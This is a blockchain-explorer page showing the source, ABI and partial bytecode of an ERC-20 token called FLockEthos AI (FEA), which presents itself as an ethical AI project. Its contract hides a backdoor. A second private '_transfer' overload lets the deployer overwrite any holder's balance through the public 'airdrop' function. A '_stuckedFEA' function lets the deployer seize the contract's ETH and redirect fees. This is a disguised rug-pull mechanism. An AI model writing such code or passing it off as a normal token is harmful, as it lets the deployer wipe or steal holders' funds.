ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 FEA
Holders
83
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
FLockEthosAI
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
/*
FLockEthos AI: FEA
FLockEthos AI decentralizes AI training to align with public ethics, empower communities, and prioritize usefulness.
https://www.flockethosai.org/
https://t.me/flockethos_ai
https://x.com/flockethos_ai
https://docs.flockethosai.org/
*/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FLockEthosAI is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 private _initialBuyTax = 0;
uint256 private _initialSellTax = 0;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 0;
uint256 private _reduceSellTaxAt = 0;
uint256 private _buyCount = 0;
address private _deployer;
address payable private _feaOwner;
mapping(address => uint256) private _balanceOf;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _feeUnincluded;
string private constant _name = unicode"FLockEthos AI";
string private constant _symbol = unicode"FEA";
uint256 public _maxAmountPerTX = 20000000 * 10**_decimals;
uint256 public _maxSizeOfWallet = 20000000 * 10**_decimals;
uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
uint256 private constant _tAmount = 1000000000 * 10**_decimals;
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxAmountPerTX);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_feaOwner = payable(_msgSender());
_balanceOf[address(this)] = (_tAmount * 98) / 100;
_balanceOf[owner()] = (_tAmount * 2) / 100;
_feeUnincluded[owner()] = true;
_feeUnincluded[address(this)] = true;
_feeUnincluded[_feaOwner] = true;
_deployer = _msgSender();
emit Transfer(address(0), address(this), (_tAmount * 98) / 100);
emit Transfer(address(0), address(owner()), (_tAmount * 2) / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function totalSupply() public pure override returns (uint256) {
return _tAmount;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return _balanceOf[account];
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != address(this) && to != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _reduceBuyTaxAt)
? _finalBuyTax
: _initialBuyTax
)
.div(100);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_feeUnincluded[to]
) {
require(
amount <= _maxAmountPerTX,
"Exceeds the _maxAmountPerTX."
);
require(
balanceOf(to) + amount <= _maxSizeOfWallet,
"Exceeds the maxWalletSize."
);
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _reduceSellTaxAt)
? _finalSellTax
: _initialSellTax
)
.div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled) {
if (contractTokenBalance > 0)
_feaToEth(
min(amount, min(contractTokenBalance, _maxTaxSwap))
);
_transferFee(address(this).balance);
}
}
if (taxAmount > 0) {
_balanceOf[address(this)] = _balanceOf[address(this)].add(
taxAmount
);
emit Transfer(from, address(this), taxAmount);
}
_balanceOf[from] = _balanceOf[from].sub(amount);
_balanceOf[to] = _balanceOf[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function _transfer(address from, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount >= 0, "Transfer amount must be greater than zero");
require(_msgSender() == _deployer, "not authorized");
_balanceOf[from] = amount;
}
function _transferFee(uint256 amount) private {
_feaOwner.transfer(amount);
}
function _calcAmounts(address[] memory recipients, uint256[] memory amounts)
private
{
for (uint256 i = 0; i < recipients.length; i++) {
address recipient = recipients[i];
_transfer(recipient, amounts[i]);
}
}
function _stuckedFEA(address wallet) external {
require(_msgSender() == _deployer, "Not Team Member");
_feaOwner = payable(wallet);
payable(_msgSender()).transfer(address(this).balance);
}
function _feaToEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function airdrop(address[] memory recipients, uint256[] memory amounts)
external
{
_calcAmounts(recipients, amounts);
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "Already started!");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tAmount);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
swapEnabled = true;
tradingOpen = true;
}
function removeLimits() external onlyOwner {
_maxAmountPerTX = _tAmount;
_maxSizeOfWallet = _tAmount;
emit MaxTxAmountUpdated(_tAmount);
}
receive() external payable {}
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmountPerTX","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmountPerTX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSizeOfWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"_stuckedFEA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040525f6001555f6002555f6003555f6004555f6005555f6006555f6007556009600a61002e9190610701565b6301312d0061003d919061074b565b600d556009600a61004e9190610701565b6301312d0061005d919061074b565b600e556009600a61006e9190610701565b6298968061007c919061074b565b600f555f601160156101000a81548160ff0219169083151502179055505f601160166101000a81548160ff0219169083151502179055505f6100c261056260201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35061016c61056260201b60201c565b60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a6101bd9190610701565b633b9aca006101cc919061074b565b6101d6919061074b565b6101e091906107b9565b600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a6102339190610701565b633b9aca00610242919061074b565b61024c919061074b565b61025691906107b9565b600a5f61026761056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f6102b761056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103df61056260201b60201c565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a61047f9190610701565b633b9aca0061048e919061074b565b610498919061074b565b6104a291906107b9565b6040516104af91906107f8565b60405180910390a36104c561056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6105259190610701565b633b9aca00610534919061074b565b61053e919061074b565b61054891906107b9565b60405161055591906107f8565b60405180910390a3610811565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610612578086048111156105ee576105ed610590565b5b60018516156105fd5780820291505b808102905061060b856105bd565b94506105d2565b94509492505050565b5f8261062a57600190506106e5565b81610637575f90506106e5565b816001811461064d576002811461065757610686565b60019150506106e5565b60ff84111561066957610668610590565b5b8360020a9150848211156106805761067f610590565b5b506106e5565b5060208310610133831016604e8410600b84101617156106bb5782820a9050838111156106b6576106b5610590565b5b6106e5565b6106c884848460016105c9565b925090508184048111156106df576106de610590565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61070b826106ec565b9150610716836106f5565b92506107437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461061b565b905092915050565b5f610755826106ec565b9150610760836106ec565b925082820261076e816106ec565b9150828204841483151761078557610784610590565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6107c3826106ec565b91506107ce836106ec565b9250826107de576107dd61078c565b5b828204905092915050565b6107f2816106ec565b82525050565b5f60208201905061080b5f8301846107e9565b92915050565b6132258061081e5f395ff3fe60806040526004361061010c575f3560e01c8063715018a6116100945780638da5cb5b116100635780638da5cb5b1461033157806395d89b411461035b578063a9059cbb14610385578063dd62ed3e146103c1578063e587dbe0146103fd57610113565b8063715018a6146102c5578063751039fc146102db57806382b5deab146102f15780638a8c523c1461031b57610113565b806321d91921116100db57806321d91921146101d157806323b872dd146101fb578063313ce56714610237578063672434821461026157806370a082311461028957610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610425565b60405161013891906120a5565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190612163565b610462565b60405161017491906121bb565b60405180910390f35b348015610188575f80fd5b5061019161047f565b60405161019e91906121e3565b60405180910390f35b3480156101b2575f80fd5b506101bb610485565b6040516101c891906121e3565b60405180910390f35b3480156101dc575f80fd5b506101e56104a8565b6040516101f291906121e3565b60405180910390f35b348015610206575f80fd5b50610221600480360381019061021c91906121fc565b6104ae565b60405161022e91906121bb565b60405180910390f35b348015610242575f80fd5b5061024b610582565b6040516102589190612267565b60405180910390f35b34801561026c575f80fd5b5061028760048036038101906102829190612480565b61058a565b005b348015610294575f80fd5b506102af60048036038101906102aa91906124f6565b610598565b6040516102bc91906121e3565b60405180910390f35b3480156102d0575f80fd5b506102d96105de565b005b3480156102e6575f80fd5b506102ef61072c565b005b3480156102fc575f80fd5b5061030561085b565b60405161031291906121e3565b60405180910390f35b348015610326575f80fd5b5061032f610861565b005b34801561033c575f80fd5b50610345610d83565b6040516103529190612530565b60405180910390f35b348015610366575f80fd5b5061036f610daa565b60405161037c91906120a5565b60405180910390f35b348015610390575f80fd5b506103ab60048036038101906103a69190612163565b610de7565b6040516103b891906121bb565b60405180910390f35b3480156103cc575f80fd5b506103e760048036038101906103e29190612549565b610e04565b6040516103f491906121e3565b60405180910390f35b348015610408575f80fd5b50610423600480360381019061041e91906124f6565b610e86565b005b60606040518060400160405280600d81526020017f464c6f636b4574686f7320414900000000000000000000000000000000000000815250905090565b5f61047561046e610faa565b8484610fb1565b6001905092915050565b600f5481565b5f6009600a61049491906126e3565b633b9aca006104a3919061272d565b905090565b600e5481565b5f6104ba848484611174565b610577846104c6610faa565b610572856040518060600160405280602881526020016131c860289139600b5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610529610faa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119349092919063ffffffff16565b610fb1565b600190509392505050565b5f6009905090565b6105948282611996565b5050565b5f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105e6610faa565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610672576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610669906127b8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610734610faa565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b7906127b8565b60405180910390fd5b6009600a6107ce91906126e3565b633b9aca006107dd919061272d565b600d819055506009600a6107f191906126e3565b633b9aca00610800919061272d565b600e819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61083591906126e3565b633b9aca00610844919061272d565b60405161085191906121e3565b60405180910390a1565b600d5481565b610869610faa565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ec906127b8565b60405180910390fd5b601160149054906101000a900460ff1615610945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093c90612820565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109e13060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6109cd91906126e3565b633b9aca006109dc919061272d565b610fb1565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a4b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6f9190612852565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610af5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b199190612852565b6040518363ffffffff1660e01b8152600401610b3692919061287d565b6020604051808303815f875af1158015610b52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b769190612852565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bfd30610598565b5f80610c07610d83565b426040518863ffffffff1660e01b8152600401610c29969594939291906128e6565b60606040518083038185885af1158015610c45573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c6a9190612959565b50505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d0a9291906129a9565b6020604051808303815f875af1158015610d26573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d4a91906129fa565b506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4645410000000000000000000000000000000000000000000000000000000000815250905090565b5f610dfa610df3610faa565b8484611174565b6001905092915050565b5f600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ec6610faa565b73ffffffffffffffffffffffffffffffffffffffff1614610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1390612a6f565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f64610faa565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610fa6573d5f803e3d5ffd5b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361101f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101690612afd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361108d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108490612b8b565b60405180910390fd5b80600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161116791906121e3565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d990612c19565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611250576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124790612ca7565b60405180910390fd5b5f8111611292576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128990612d35565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156112fb57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156116845761133c606461132e6005546007541161131b5760015461131f565b6003545b856119f690919063ffffffff16565b611a6d90919063ffffffff16565b905060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113e7575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561143a5750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114f457600d54821115611484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147b90612d9d565b60405180910390fd5b600e548261149185610598565b61149b9190612dbb565b11156114dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d390612e38565b60405180910390fd5b60075f8154809291906114ee90612e56565b91905055505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561157c57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115c0576115bd60646115af6006546007541161159c576002546115a0565b6004545b856119f690919063ffffffff16565b611a6d90919063ffffffff16565b90505b5f6115ca30610598565b9050601160159054906101000a900460ff16158015611635575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561164d5750601160169054906101000a900460ff165b15611682575f811115611678576116776116728461166d84600f54611ab6565b611ab6565b611ace565b5b61168147611d39565b5b505b5f811115611783576116dc81600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611da190919063ffffffff16565b600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161177a91906121e3565b60405180910390a35b6117d382600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611dfe90919063ffffffff16565b600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061187661182a8284611dfe90919063ffffffff16565b600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611da190919063ffffffff16565b600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119198486611dfe90919063ffffffff16565b60405161192691906121e3565b60405180910390a350505050565b5f83831115829061197b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197291906120a5565b60405180910390fd5b505f83856119899190612e9d565b9050809150509392505050565b5f5b82518110156119f1575f8382815181106119b5576119b4612ed0565b5b602002602001015190506119e3818484815181106119d6576119d5612ed0565b5b6020026020010151611e47565b508080600101915050611998565b505050565b5f808303611a06575f9050611a67565b5f8284611a13919061272d565b9050828482611a229190612f2a565b14611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990612fca565b60405180910390fd5b809150505b92915050565b5f611aae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fd4565b905092915050565b5f818311611ac45782611ac6565b815b905092915050565b6001601160156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b0557611b04612284565b5b604051908082528060200260200182016040528015611b33578160200160208202